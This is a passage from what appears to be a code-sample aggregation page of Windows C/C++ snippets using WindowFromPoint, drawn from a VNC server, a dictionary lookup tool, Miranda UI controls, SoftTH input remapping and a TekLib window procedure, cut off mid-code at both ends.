				// causing them to be fetched for processing.
				if (m_desktop->m_server->PollFullScreen())
				{
					rfb::Rect rect = m_desktop->m_qtrscreen;
					rect = rect.translate(rfb::Point(0, m_desktop->m_pollingcycle * m_desktop->m_qtrscreen.br.y));
					rgncache = rgncache.union_(rfb::Region2D(rect));
					m_desktop->m_pollingcycle = (m_desktop->m_pollingcycle + 1) % 4;
				}
				if (m_desktop->m_server->PollForeground())
				{
					// Get the window rectangle for the currently selected window
					HWND hwnd = GetForegroundWindow();
					if (hwnd != NULL)
						PollWindow(rgncache, hwnd);
				}
				if (m_desktop->m_server->PollUnderCursor())
				{
					// Find the mouse position
					POINT mousepos;
					if (GetCursorPos(&mousepos))
					{
						// Find the window under the mouse
						HWND hwnd = WindowFromPoint(mousepos);
						if (hwnd != NULL)
							PollWindow(rgncache, hwnd);
					}
				}

				// PROCESS THE MOUSE POINTER
				// Some of the hard work is done in clients, some here
				// This code fetches the desktop under the old pointer position
				// but the client is responsible for actually encoding and sending
				// it when required.
				// This code also renders the pointer and saves the rendered position
				// Clients include this when rendering updates.
				// The code is complicated in this way because we wish to avoid 
				// rendering parts of the screen the mouse moved through between
				// client updates, since in practice they will probably not have changed.

				// Re-render the mouse's old location if it's moved
				BOOL cursormoved = FALSE;
				POINT cursorpos;
				if (GetCursorPos(&cursorpos) && 
					((cursorpos.x != oldcursorpos.x) ||
					(cursorpos.y != oldcursorpos.y))) {
					cursormoved = TRUE;
					oldcursorpos = rfb::Point(cursorpos);
				}
				if (cursormoved) {
					if (!m_desktop->m_cursorpos.is_empty())
						rgncache = rgncache.union_(rfb::Region2D(m_desktop->m_cursorpos));
				}

				{
					// Prevent any clients from accessing the Buffer
					omni_mutex_lock l(m_desktop->m_update_lock);

					// CHECK FOR COPYRECTS
					// This actually just checks where the Foreground window is
					m_desktop->CalcCopyRects(updates);

					// GRAB THE DISPLAY
					// Fetch data from the display to our display cache.
					m_desktop->m_buffer.GrabRegion(rgncache);
				  // Render the mouse
				  m_desktop->m_buffer.GrabMouse();
					if (cursormoved) {
						// Inform clients that it has moved
						m_desktop->m_server->UpdateMouse();
						// Get the buffer to fetch the pointer bitmap
						if (!m_desktop->m_cursorpos.is_empty())
							rgncache = rgncache.union_(rfb::Region2D(m_desktop->m_cursorpos));
					}

					// SCAN THE CHANGED REGION FOR ACTUAL CHANGES
					// The hooks return hints as to areas that may have changed.
					// We check the suggested areas, and just send the ones that
					// have actually changed.
					// Note that we deliberately don't check the copyrect destination
					// here, to reduce the overhead & the likelihood of corrupting the
					// backbuffer contents.
					rfb::Region2D checkrgn = rgncache.subtract(clipped_updates.get_copied_region());
					rgncache = clipped_updates.get_copied_region();
					rfb::Region2D changedrgn;
					m_desktop->m_buffer.CheckRegion(changedrgn, checkrgn);

					// FLUSH UPDATES TO CLIENTS
					// Add the bits that have really changed to their update regions
					// Note that the cursor is NOT included - they must do that
					// themselves, for the reasons above.
					// This call implicitly kicks clients to update themselves

					updates.add_changed(changedrgn);
					clipped_updates.get_update(m_server->GetUpdateTracker());
				}

				// Clear the update tracker and region cache
				clipped_updates.clear();
			}

			// Now wait for more messages to be queued
			if (!WaitMessage()) {
				//vnclog.Print(LL_INTERR, VNCLOG("WaitMessage() failed\n"));
				break;
			}
		} else if (msg.message == RFB_SCREEN_UPDATE) {
			// Process an incoming update event

			// An area of the screen has changed
			rfb::Rect rect;
			rect.tl = rfb::Point((SHORT)LOWORD(msg.wParam), (SHORT)HIWORD(msg.wParam));
			rect.br = rfb::Point((SHORT)LOWORD(msg.lParam), (SHORT)HIWORD(msg.lParam));
			rect = rect.intersect(m_desktop->m_bmrect);
			if (!rect.is_empty()) {
				rgncache = rgncache.union_(rfb::Region2D(rect));
			}

			idle_skip = TRUE;
		} else if (msg.message == RFB_MOUSE_UPDATE) {
			// Process an incoming mouse event

			// Save the cursor ID
			m_desktop->SetCursor((HCURSOR) msg.wParam);

			idle_skip = TRUE;
		} else if (msg.message == WM_QUIT) {
			break;
		} else {
			// Process any other messages normally
			DispatchMessage(&msg);

			idle_skip = TRUE;
		}
	}

	m_desktop->SetClipboardActive(FALSE);
	
	//vnclog.Print(LL_INTINFO, VNCLOG("quitting desktop server thread\n"));

	// Clear all the hooks and close windows, etc.
	m_desktop->Shutdown();

	// Clear the shift modifier keys, now that there are no remote clients
	vncKeymap::ClearShiftKeys();

	// Switch back into our home desktop, under NT (no effect under 9x)
	vncService::SelectHDESK(home_desktop);

	return NULL;
}
예제 #10
0
void getSelectedText(){
    //unHook();
    backupClipboard();

    //模拟发送ctrl+c复制选择的text进粘贴板
    qDebug()<<"准备selected to clipboard";
    //qApp->clipboard()->clear();

    if(clearClipboard()){
        POINT pt;
        GetCursorPos(&pt);//获得当前鼠标位置
        HWND hwnd=WindowFromPoint(pt);//获得鼠标所在的窗口句柄
        QChar buffer[128];
        GetClassName(hwnd,(WCHAR*) buffer, 128);
        QString winclassname=QString::fromRawData(buffer,128);
        qDebug()<<"当前窗口"<<hwnd<<winclassname;
        if(winclassname.contains("Internet Explorer")){//ie以及ie内核的浏览器比如360安全浏览器,不支持发送ctrl+c(划译时不行,但是双击是可以)
            qDebug("ie内核");
            PostMessage(hwnd,WM_COMMAND,0x0001000f,0);//使用spy截获的消息
//        }else if(winclassname.contains("TXGuiFoundation")){
//            qDebug()<<"QQ聊天窗口";
//            SendMessage(hwnd,WM_CHAR,49,49);

        }else{
            //    keybd_event(VK_CONTROL, 0, 0, 0); // 按下 Ctrl
            //    keybd_event('C', 0, 0, 0); // 按下 C
            //    keybd_event('C', 0, KEYEVENTF_KEYUP, 0); // 放开 C
            //    keybd_event(VK_CONTROL, 0, KEYEVENTF_KEYUP, 0); // 放开 Ctrl
           // int bScan=::MapVirtualKey('C',0);
           // qDebug()<<0x1D<<0x2e<<::MapVirtualKey(VK_CONTROL,0)<<::MapVirtualKey('C',0);
            //SendMessage(hwnd,WM_CAPTURECHANGED,0x0,0x0);
            keybd_event(VK_CONTROL, 0x1D, KEYEVENTF_EXTENDEDKEY, 1); // 按下 Ctrl
            keybd_event('C', 0x2E, 0,1); // 按下 C
            //Sleep(10);
            //PostMessage(hwnd,WM_PAINT,0x0,0x0);//使用spy截获的消息

            keybd_event('C', 0x2E, KEYEVENTF_KEYUP, 1); // 放开 C
            keybd_event(VK_CONTROL,0x1D, KEYEVENTF_EXTENDEDKEY|KEYEVENTF_KEYUP, 1); // 放开 Ctrl
        }


        int iTimeOut=0;
        while (!qApp->clipboard()->mimeData()->hasText()){//判断剪贴簿内容是否为文字格式
            Sleep(10);
            qApp->processEvents();
            qDebug()<<"wait clip ok"<<iTimeOut<<qApp->clipboard()->text();
            iTimeOut ++;
            if (iTimeOut > 2){
                break;
            }

        }
        //qDebug()<<"wait clip ok"<<iTimeOut;
        if(qApp->clipboard()->mimeData()->hasText()){

            //qDebug()<<"粘贴板内容"<<qApp->clipboard()->text();
            DICT::querySelectedText(qApp->clipboard()->text());
        }
    }
    restoreClipboard();

   // setHook();
}
예제 #11
0
static int CALLBACK CheckboxWndProc(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{
	CCheckboxData *dat = (CCheckboxData*)GetWindowLongPtr(hWnd, GWLP_USERDATA);
	if (!dat)
		return 0;

	switch (Msg) {
	case UM_INITCHECKBOX:
		{
			HFONT hFont = (HFONT)SendMessage(hWnd, WM_GETFONT, 0, 0);
			if (!hFont)
				hFont = (HFONT)GetStockObject(DEFAULT_GUI_FONT);

			LOGFONT lf;
			GetObject(hFont, sizeof(lf), &lf);
			lf.lfWeight = FW_BOLD;
			dat->hFont = CreateFontIndirect(&lf);
			SendMessage(hWnd, UM_AUTOSIZE, 0, 0);
		}
		return 0;

	case UM_AUTOSIZE:
		{
			HTHEME hTheme = OpenThemeData(hWnd, L"BUTTON");
			int Len = GetWindowTextLength(hWnd) + 1;
			HDC hdc = GetDC(hWnd);
			HFONT hOldFont = (HFONT)SelectObject(hdc, dat->hFont);
			RECT rcText = { 0 };
			if (hTheme) {
				WCHAR *szText = (WCHAR*)_alloca(Len * sizeof(WCHAR));
				GetWindowTextW(hWnd, szText, Len);
				GetThemeTextExtent(hTheme, hdc, BP_GROUPBOX, IsWindowEnabled(hWnd) ? GBS_NORMAL : GBS_DISABLED, szText, -1, DT_CALCRECT | DT_LEFT | DT_VCENTER | DT_SINGLELINE, nullptr, &rcText);
			}
			else {
				SIZE size;
				wchar_t *szText = (wchar_t*)_alloca(Len * sizeof(wchar_t));
				GetWindowText(hWnd, szText, Len);
				GetTextExtentPoint32(hdc, szText, (int)mir_wstrlen(szText), &size);
				rcText.right = size.cx;
				rcText.bottom = size.cy;
			}

			SelectObject(hdc, hOldFont);
			ReleaseDC(hWnd, hdc);
			if (hTheme)
				CloseThemeData(hTheme);

			OffsetRect(&rcText, CG_CHECKBOX_INDENT + CG_CHECKBOX_WIDTH + CG_TEXT_INDENT, 0);
			RECT rc;
			GetClientRect(hWnd, &rc);
			SetWindowPos(hWnd, nullptr, 0, 0, rcText.right + CG_ADDITIONAL_WIDTH, rc.bottom, SWP_NOMOVE | SWP_NOZORDER);
		}
		break;

	case BM_CLICK:
		SendMessage(hWnd, WM_LBUTTONDOWN, 0, 0);
		SendMessage(hWnd, WM_LBUTTONUP, 0, 0);
		return 0;

	case BM_GETCHECK:
		return dat->State & CGSM_ISCHECKED;

	case BM_SETCHECK:
		if ((wParam != BST_UNCHECKED && wParam != BST_CHECKED && wParam != BST_INDETERMINATE) || (wParam == BST_INDETERMINATE && dat->Style != BS_3STATE && dat->Style != BS_AUTO3STATE))
			wParam = BST_CHECKED;
		dat->State &= ~CGSM_ISCHECKED;
		dat->State |= wParam;
		InvalidateRect(hWnd, nullptr, false);
		SendMessage(GetParent(hWnd), WM_COMMAND, MAKEWPARAM(GetDlgCtrlID(hWnd), BN_CLICKED), (LPARAM)hWnd);
		return 0;

	case BM_SETSTATE:
		if (wParam)
			dat->State |= CGS_PRESSED;
		else
			dat->State &= ~CGS_PRESSED;
		InvalidateRect(hWnd, nullptr, false);
		return 0;

	case BM_GETSTATE:
		return (dat->State & CGSM_GETSTATE) | ((GetFocus() == hWnd) ? BST_FOCUS : 0);

	case WM_GETDLGCODE:
		return DLGC_BUTTON;

	case WM_THEMECHANGED:
	case WM_ENABLE:
		InvalidateRect(hWnd, nullptr, false);
		return 0;

	case WM_SETTEXT:
		if (CallWindowProc(dat->OldWndProc, hWnd, Msg, wParam, lParam))
			SendMessage(hWnd, UM_AUTOSIZE, 0, 0);
		return 0;

	case WM_KEYDOWN:
		if (wParam == VK_SPACE)
			SendMessage(hWnd, BM_SETSTATE, true, 0);
		return 0;

	case WM_KEYUP:
		if (wParam == VK_SPACE) {
			SendMessage(hWnd, BM_SETCHECK, (SendMessage(hWnd, BM_GETCHECK, 0, 0) + 1) % ((dat->Style == BS_AUTO3STATE) ? 3 : 2), 0);
			SendMessage(hWnd, BM_SETSTATE, false, 0);
		}
		return 0;

	case WM_CAPTURECHANGED:
		SendMessage(hWnd, BM_SETSTATE, false, 0);
		return 0;

	case WM_ERASEBKGND:
		return true;

	case WM_LBUTTONDOWN:
	case WM_LBUTTONDBLCLK:
		SetFocus(hWnd);
		SendMessage(hWnd, BM_SETSTATE, true, 0);
		SetCapture(hWnd);
		return 0;

	case WM_LBUTTONUP:
		if (GetCapture() == hWnd)
			ReleaseCapture();

		SendMessage(hWnd, BM_SETSTATE, false, 0);
		if (dat->State & CGS_HOVERED && (dat->Style == BS_AUTOCHECKBOX || dat->Style == BS_AUTO3STATE))
			SendMessage(hWnd, BM_SETCHECK, (SendMessage(hWnd, BM_GETCHECK, 0, 0) + 1) % ((dat->Style == BS_AUTO3STATE) ? 3 : 2), 0);
		return 0;

	case WM_MOUSEMOVE:
		{
			TRACKMOUSEEVENT tme = { 0 };
			tme.cbSize = sizeof(tme);
			tme.dwFlags = TME_LEAVE;
			tme.dwHoverTime = HOVER_DEFAULT;
			tme.hwndTrack = hWnd;
			_TrackMouseEvent(&tme);
		}

		POINT pt;
		GetCursorPos(&pt);
		if ((WindowFromPoint(pt) == hWnd) ^ ((dat->State & CGS_HOVERED) != 0)) {
			dat->State ^= CGS_HOVERED;
			InvalidateRect(hWnd, nullptr, false);
		}
		return 0;

	case WM_MOUSELEAVE:
		if (dat->State & CGS_HOVERED) {
			dat->State &= ~CGS_HOVERED;
			InvalidateRect(hWnd, nullptr, false);
		}
		return 0;

	case WM_SETFOCUS:
	case WM_KILLFOCUS:
	case WM_SYSCOLORCHANGE:
		InvalidateRect(hWnd, nullptr, false);
		return 0;

	case WM_PAINT:
		{
			HDC hdc;
			PAINTSTRUCT ps;
			hdc = BeginPaint(hWnd, &ps);
			RECT rc;
			GetClientRect(hWnd, &rc);
			HDC hdcMem = CreateCompatibleDC(hdc);
			HBITMAP hbmMem = CreateCompatibleBitmap(hdc, rc.right, rc.bottom);
			HBITMAP hbmOld = (HBITMAP)SelectObject(hdcMem, hbmMem);
			HTHEME hTheme = OpenThemeData(hWnd, L"BUTTON");
			if (hTheme)
				DrawThemeParentBackground(hWnd, hdcMem, nullptr);
			else
				FillRect(hdcMem, &rc, GetSysColorBrush(COLOR_3DFACE));

			int StateID = 0;
			switch (SendMessage(hWnd, BM_GETCHECK, 0, 0)) {
			case BST_CHECKED:
				StateID += CBSCHECK_CHECKED;
				break;
			case BST_UNCHECKED:
				StateID += CBSCHECK_UNCHECKED;
				break;
			case BST_INDETERMINATE:
				StateID += CBSCHECK_MIXED;
				break;
			}
			if (!IsWindowEnabled(hWnd))
				StateID += CBSSTATE_DISABLED;
			else if (dat->State & CGS_PRESSED && (GetCapture() != hWnd || dat->State & CGS_HOVERED))
				StateID += CBSSTATE_PRESSED;
			else if (dat->State & CGS_PRESSED || dat->State & CGS_HOVERED)
				StateID += CBSSTATE_HOT;

			rc.left += CG_CHECKBOX_INDENT;
			rc.right = rc.left + CG_CHECKBOX_WIDTH; // left-align the image in the client area
			rc.top += CG_CHECKBOX_VERTINDENT;
			rc.bottom = rc.top + CG_CHECKBOX_WIDTH; // exact rc dimensions are necessary for DrawFrameControl to draw correctly
			if (hTheme)
				DrawThemeBackground(hTheme, hdcMem, BP_CHECKBOX, StateID, &rc, &rc);
			else {
				int dfcStates[] =
				{ 0, 0, DFCS_PUSHED, DFCS_INACTIVE,
				DFCS_CHECKED, DFCS_CHECKED, DFCS_CHECKED | DFCS_PUSHED, DFCS_CHECKED | DFCS_INACTIVE,
				DFCS_BUTTON3STATE | DFCS_CHECKED, DFCS_BUTTON3STATE | DFCS_CHECKED, DFCS_BUTTON3STATE | DFCS_INACTIVE | DFCS_CHECKED | DFCS_PUSHED, DFCS_BUTTON3STATE | DFCS_INACTIVE | DFCS_CHECKED | DFCS_PUSHED };
				_ASSERT(StateID >= 1 && StateID <= _countof(dfcStates));
				DrawFrameControl(hdcMem, &rc, DFC_BUTTON, dfcStates[StateID - 1]);
			}

			GetClientRect(hWnd, &rc);
			rc.left += CG_CHECKBOX_INDENT + CG_CHECKBOX_WIDTH + CG_TEXT_INDENT;

			int Len = GetWindowTextLength(hWnd) + 1;
			wchar_t *szTextT = (wchar_t*)_alloca(Len * sizeof(wchar_t));
			GetWindowText(hWnd, szTextT, Len);

			HFONT hOldFont = (HFONT)SelectObject(hdcMem, dat->hFont);
			SetBkMode(hdcMem, TRANSPARENT);
			if (hTheme)
				DrawThemeText(hTheme, hdcMem, BP_GROUPBOX, IsWindowEnabled(hWnd) ? GBS_NORMAL : GBS_DISABLED, szTextT, -1, DT_LEFT | DT_VCENTER | DT_SINGLELINE, 0, &rc);
			else
				DrawText(hdcMem, szTextT, -1, &rc, DT_LEFT | DT_VCENTER | DT_SINGLELINE);

			if (GetFocus() == hWnd) {
				RECT rcText = { 0 };
				if (hTheme)
					GetThemeTextExtent(hTheme, hdcMem, BP_GROUPBOX, IsWindowEnabled(hWnd) ? GBS_NORMAL : GBS_DISABLED, szTextT, -1, DT_CALCRECT | DT_LEFT | DT_VCENTER | DT_SINGLELINE, nullptr, &rcText);
				else {
					SIZE size;
					GetTextExtentPoint32(hdcMem, szTextT, (int)mir_wstrlen(szTextT), &size);
					rcText.right = size.cx;
					rcText.bottom = size.cy;
				}
				rcText.bottom = rc.bottom;
				OffsetRect(&rcText, rc.left, 0);
				InflateRect(&rcText, 1, -1);
				DrawFocusRect(hdcMem, &rcText);
			}
			SelectObject(hdcMem, hOldFont);
			if (hTheme)
				CloseThemeData(hTheme);

			BitBlt(hdc, 0, 0, rc.right, rc.bottom, hdcMem, 0, 0, SRCCOPY);
			SelectObject(hdcMem, hbmOld);
			DeleteObject(hbmMem);
			DeleteDC(hdcMem);
			EndPaint(hWnd, &ps);
		}
		return 0;

	case WM_DESTROY:
		if (dat->hFont)
			DeleteObject(dat->hFont);

		SetWindowLongPtr(hWnd, GWLP_USERDATA, 0);
		CallWindowProc(dat->OldWndProc, hWnd, Msg, wParam, lParam);
		delete dat;
		return 0;
	}
	return CallWindowProc(dat->OldWndProc, hWnd, Msg, wParam, lParam);
}
예제 #12
0
int GetWindowVisibleState(HWND hWnd, int iStepX, int iStepY) {
	RECT rc = { 0 };
	POINT pt = { 0 };
	register int    i = 0,
                    j = 0,
                    width = 0,
                    height = 0,
                    iCountedDots = 0,
                    iNotCoveredDots = 0;
	HWND hAux = 0;

	if (hWnd == NULL) {
		SetLastError(0x00000006); //Wrong handle
		return -1;
	}
	//Some defaults now. The routine is designed for thin and tall windows.
	if (iStepX <= 0) iStepX = 8;
	if (iStepY <= 0) iStepY = 16;

	HWND hwndFocused = GetFocus();
	
	if (IsIconic(hWnd) || !IsWindowVisible(hWnd))
		return GWVS_HIDDEN;
	else if ( ModernGetSettingByte(NULL,"CList","OnDesktop",SETTING_ONDESKTOP_DEFAULT) || !ModernGetSettingByte(NULL, "CList", "BringToFront", SETTING_BRINGTOFRONT_DEFAULT) )
		return GWVS_VISIBLE;
	else if ( hwndFocused == pcli->hwndContactList || GetParent(hwndFocused) == pcli->hwndContactList )
		return GWVS_VISIBLE;
	else
	{
		int hstep,vstep;
		BITMAP bmp;
		HBITMAP WindowImage;
		int maxx=0;
		int maxy=0;
		int wx=0;
		int dx,dy;
		BYTE *ptr=NULL;
		HRGN rgn=NULL;
		WindowImage=g_CluiData.fLayered?ske_GetCurrentWindowImage():0;
		if (WindowImage&&g_CluiData.fLayered)
		{
			GetObject(WindowImage,sizeof(BITMAP),&bmp);
			ptr=(BYTE*)bmp.bmBits;
			maxx=bmp.bmWidth;
			maxy=bmp.bmHeight;
			wx=bmp.bmWidthBytes;
		}
		else
		{
			RECT rc;
			int i=0;
			rgn=CreateRectRgn(0,0,1,1);
			GetWindowRect(hWnd,&rc);
			GetWindowRgn(hWnd,rgn);
			OffsetRgn(rgn,rc.left,rc.top);
			GetRgnBox(rgn,&rc);
			i=i;
			//maxx=rc.right;
			//maxy=rc.bottom;
		}
		GetWindowRect(hWnd, &rc);
		{
			RECT rcMonitor={0};
			Docking_GetMonitorRectFromWindow(hWnd,&rcMonitor);
			rc.top=rc.top<rcMonitor.top?rcMonitor.top:rc.top;
			rc.left=rc.left<rcMonitor.left?rcMonitor.left:rc.left;
			rc.bottom=rc.bottom>rcMonitor.bottom?rcMonitor.bottom:rc.bottom;
			rc.right=rc.right>rcMonitor.right?rcMonitor.right:rc.right;
		}
		width = rc.right - rc.left;
		height = rc.bottom- rc.top;
		dx=-rc.left;
		dy=-rc.top;
		hstep=width/iStepX;
		vstep=height/iStepY;
		hstep=hstep>0?hstep:1;
		vstep=vstep>0?vstep:1;

		for (i = rc.top; i < rc.bottom; i+=vstep) {
			pt.y = i;
			for (j = rc.left; j < rc.right; j+=hstep) {
				BOOL po=FALSE;
				pt.x = j;
				if (rgn)
					po=PtInRegion(rgn,j,i);
				else
				{
					DWORD a=(GetDIBPixelColor(j+dx,i+dy,maxx,maxy,wx,ptr)&0xFF000000)>>24;
					a=((a*g_CluiData.bCurrentAlpha)>>8);
					po=(a>16);
				}
				if (po||(!rgn&&ptr==0))
				{
					BOOL hWndFound=FALSE;
					HWND hAuxOld=NULL;
					hAux = WindowFromPoint(pt);
					do
					{
						if (hAux==hWnd)
						{
							hWndFound=TRUE;
							break;
						}
						//hAux = GetParent(hAux);
						hAuxOld=hAux;
						hAux = fnGetAncestor(hAux,GA_ROOTOWNER);
						if (hAuxOld==hAux)
						{
							TCHAR buf[255];
							GetClassName(hAux,buf,SIZEOF(buf));
							if (!lstrcmp(buf,CLUIFrameSubContainerClassName))
							{
								hWndFound=TRUE;
								break;
							}
						}
					}while(hAux!= NULL &&hAuxOld!=hAux);

					if (hWndFound) //There's  window!
						iNotCoveredDots++; //Let's count the not covered dots.
					iCountedDots++; //Let's keep track of how many dots we checked.
				}
			}
		}
		if (rgn) DeleteObject(rgn);
		if ( iCountedDots - iNotCoveredDots<2) //Every dot was not covered: the window is visible.
			return GWVS_VISIBLE;
		else if (iNotCoveredDots == 0) //They're all covered!
			return GWVS_COVERED;
		else //There are dots which are visible, but they are not as many as the ones we counted: it's partially covered.
			return GWVS_PARTIALLY_COVERED;
	}
}
예제 #13
0
static LRESULT CALLBACK GetMsgProc(int nCode, WPARAM wParamIn, LPARAM lParamIn)
{
  dbg("InputHandler: GetMsgProc");
  HWND win = ihGlobal.getHWND();
  if(!win) {
    //dbg("!win");
    return CallNextHookEx(NULL, nCode, wParamIn, lParamIn); // Hook window not set
  }

  MSG* msg = (MSG*) lParamIn;
  WPARAM wParam = msg->wParam;
  LPARAM lParam = msg->lParam;
  UINT wmsg = msg->message;

  // Keyboard hooks
  switch(wmsg) {
    case WM_KEYUP:
      if(GetKeyState(VK_APPLICATION) < 0) {
        ihGlobal.keyDown((int)wParam);
        msg->message = WM_NULL;
        break;
      }
      if(wParam == VK_SNAPSHOT)
        ihGlobal.keyDown((int)wParam);
      break;
    case WM_KEYDOWN:
      if(GetKeyState(VK_APPLICATION) < 0) {
        ihGlobal.keyUp((int)wParam);
        msg->message = WM_NULL;
        break;
      }
      if(wParam == VK_SNAPSHOT)
        ihGlobal.keyUp((int)wParam);
      break;
  }

  bool hookAllWindows = false;
  if(msg->hwnd != win && !hookAllWindows) {

    char msgTxt[256];
    switch(wmsg) {
      case MOUSE_ALL_WM_EVENTS:
        strcpy(msgTxt, getMouseEventName(wmsg));
        break;
      default:
        sprintf(msgTxt, "0x%08X", wmsg);
        break;
    }

    char name[256];
    GetWindowText(msg->hwnd, name, 256);
    dbg_input("win %d != %d (%s, %s)", msg->hwnd, win, name, msgTxt);

    /*if(wmsg == WM_INPUT)
      msg->message = WM_NULL;*/

		return CallNextHookEx(NULL, nCode, wParamIn, lParamIn); // Not our window
  }

  if(wmsg == WM_MOUSELEAVE)
    msg->message = WM_NULL;

  switch(wmsg) {

    // Mouse hooks
#define DBG_MSG(x) case x: dbg("PrimaryWindow: %s", #x); break

    DBG_MSG(WM_ACTIVATE);
    DBG_MSG(WM_MOUSEACTIVATE);

    case WM_MOUSELEAVE:
    case WM_NCMOUSELEAVE:
      // Discard mouse leave messages - TODO: recall TrackMouseEvent
      msg->message = WM_NULL;
      break;

    case MOUSE_ALL_WM_EVENTS: // Note: special macro
    {
      if(!SoftTHActive)
        break;

      if(msg->wParam & MOUSE_EVENTS_ALREADY_MAPPED && wmsg != WM_MOUSEWHEEL) {
        // This message came from secondary SoftTH window and is already in correct coordinates
        msg->wParam -= MOUSE_EVENTS_ALREADY_MAPPED;
        dbg_input("PrimaryWindow: %s: %dx%d MOUSE_EVENTS_ALREADY_MAPPED (wparam: 0x%08X)", getMouseEventName(wmsg), msg->pt.x, msg->pt.y, msg->wParam);

        // Send click to overlay
        if(wmsg == WM_LBUTTONDOWN || wmsg == WM_LBUTTONUP)
        {
          OVERLAY_CLICK_BLOCK p;
          p.overlayVersion = OVERLAY_VERSION;
          p.x = msg->pt.x;
          p.y = msg->pt.y;
          p.up = wmsg==WM_LBUTTONUP;
          p.event = wmsg;
          p.lparam = msg->lParam;
          p.wparam = msg->wParam;
          p.appWindow = win;
          overlayDoClick(&p);
        }

        break;
      }

      POINT vp;
      HWND winCursor = WindowFromPoint(msg->pt);
      if(winCursor != win) {
        // Drag event is going from primary monitor to secondary
        POINT op = {msg->pt.x, msg->pt.y};
        ScreenToClient(winCursor, &op);
        if(!inputMapClientToVirtual(winCursor, &op, &vp)) {
          // Outside SoftTH window - attempt to discard this message
          msg->message = WM_NULL;
        }
      } else {
        inputMapClientToVirtual(win, &msg->pt, &vp);
      }
      dbg_input("PrimaryWindow: %s: %dx%d -> %dx%d (wparam: 0x%08X)", getMouseEventName(wmsg), msg->pt.x, msg->pt.y, vp.x, vp.y, msg->wParam);

      LPARAM lp = MAKELPARAM(vp.x, vp.y);
      msg->lParam = lp;
      msg->pt.x = vp.x;
      msg->pt.y = vp.y;

      // Send click to overlay
      if(wmsg == WM_LBUTTONDOWN || wmsg == WM_LBUTTONUP || wmsg == WM_MOUSEMOVE)
      {
        OVERLAY_CLICK_BLOCK p;
        p.overlayVersion = OVERLAY_VERSION;
        p.x = vp.x;
        p.y = vp.y;
        p.up = wmsg==WM_LBUTTONUP; // Deprecated
        p.event = wmsg;
        p.lparam = msg->lParam;
        p.wparam = msg->wParam;
        p.appWindow = win;
        overlayDoClick(&p);
      }

      break;
    }

      break;
  }

  return CallNextHookEx(NULL, nCode, wParamIn, lParamIn);
}
예제 #14
0
HWND
Tooltip_WindowFromPoint ( HWND hTooltip, TOOLTIPDATA* pTooltip, POINT* ppt )
{
	return WindowFromPoint ( *ppt ); 
}
예제 #15
0
static LRESULT CALLBACK
win_wndproc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
	WINWINDOW *win = (WINWINDOW *) GetWindowLong(hwnd, GWL_USERDATA);
	WINDISPLAY *mod = win ? win->fbv_Display : TNULL;
	if (mod)
	{
		TIMSG *imsg;
		switch (uMsg)
		{
			default:
				TDBPRINTF(TDB_TRACE,("uMsg: %08x\n", uMsg));
				break;

			case WM_CLOSE:
				if ((win->fbv_InputMask & TITYPE_CLOSE) &&
					(fb_getimsg(mod, win, &imsg, TITYPE_CLOSE)))
					fb_sendimsg(mod, win, imsg);
				return 0;

			case WM_ERASEBKGND:
				return 0;

			case WM_GETMINMAXINFO:
			{
				LPMINMAXINFO mm = (LPMINMAXINFO) lParam;
				TINT m1, m2, m3, m4;
				win_getminmax(win, &m1, &m2, &m3, &m4, TTRUE);
				mm->ptMinTrackSize.x = m1;
				mm->ptMinTrackSize.y = m2;
				mm->ptMaxTrackSize.x = m3;
				mm->ptMaxTrackSize.y = m4;
				return 0;
			}

			case WM_PAINT:
			{
				PAINTSTRUCT ps;
				if (BeginPaint(win->fbv_HWnd, &ps))
				{
					if ((win->fbv_InputMask & TITYPE_REFRESH) &&
						(fb_getimsg(mod, win, &imsg, TITYPE_REFRESH)))
					{
						imsg->timsg_X = ps.rcPaint.left;
						imsg->timsg_Y = ps.rcPaint.top;
						imsg->timsg_Width = ps.rcPaint.right - ps.rcPaint.left;
						imsg->timsg_Height = ps.rcPaint.bottom - ps.rcPaint.top;
						TDBPRINTF(TDB_TRACE,("dirty: %d %d %d %d\n",
							imsg->timsg_X, imsg->timsg_Y, imsg->timsg_Width,
							imsg->timsg_Height));
						fb_sendimsg(mod, win, imsg);
					}
					EndPaint(win->fbv_HWnd, &ps);
				}
				return 0;
			}

			case WM_ACTIVATE:
				#if 0
				TDBPRINTF(TDB_INFO,("Window %p - Focus: %d\n", win, (LOWORD(wParam) != WA_INACTIVE)));
				if (!win->fbv_Borderless && (win->fbv_InputMask & TITYPE_FOCUS) &&
					(fb_getimsg(mod, win, &imsg, TITYPE_FOCUS)))
				{
					imsg->timsg_Code = (LOWORD(wParam) != WA_INACTIVE);
					fb_sendimsg(mod, win, imsg);
				}
				#endif
				return 0;

			case WM_SIZE:
				win->fbv_Width = LOWORD(lParam);
				win->fbv_Height = HIWORD(lParam);
				if ((win->fbv_InputMask & TITYPE_NEWSIZE) &&
					(fb_getimsg(mod, win, &imsg, TITYPE_NEWSIZE)))
				{
					imsg->timsg_Width = win->fbv_Width;
					imsg->timsg_Height = win->fbv_Height;
					fb_sendimsg(mod, win, imsg);
				}
				return 0;

			case WM_CAPTURECHANGED:
				TDBPRINTF(TDB_INFO,("Capture changed\n"));
				break;

			case WM_MOUSEMOVE:
			{
				TINT x = LOWORD(lParam);
				TINT y = HIWORD(lParam);
				win->fbv_MouseX = x;
				win->fbv_MouseY = y;
				if ((win->fbv_InputMask & TITYPE_MOUSEMOVE) &&
					(fb_getimsg(mod, win, &imsg, TITYPE_MOUSEMOVE)))
				{
					imsg->timsg_MouseX = x;
					imsg->timsg_MouseY = y;
					fb_sendimsg(mod, win, imsg);
				}

				if (win->fbv_InputMask & TITYPE_MOUSEOVER)
				{
					POINT scrpos;
					GetCursorPos(&scrpos);
	// 				TDBPRINTF(20,("in window: %d\n",
	// 					(WindowFromPoint(scrpos) == win->fbv_HWnd)));
					#if 0
					POINT scrpos;
					if (GetCapture() != win->fbv_HWnd)
					{
						SetCapture(win->fbv_HWnd);
						if (fb_getimsg(mod, win, &imsg, TITYPE_MOUSEOVER))
						{
							imsg->timsg_Code = 1;
							TDBPRINTF(20,("Mouseover=true\n"));
							fb_sendimsg(mod, win, imsg);
						}
					}
					else
					{
						POINT scrpos;
						GetCursorPos(&scrpos);
						if ((WindowFromPoint(scrpos) != win->fbv_HWnd) ||
							(x < 0) || (y < 0) || (x >= win->fbv_Width) ||
							(y >= win->fbv_Height))
						{
							ReleaseCapture();
							if (fb_getimsg(mod, win, &imsg, TITYPE_MOUSEOVER))
							{
								imsg->timsg_Code = 0;
								TDBPRINTF(20,("Mouseover=false\n"));
								fb_sendimsg(mod, win, imsg);
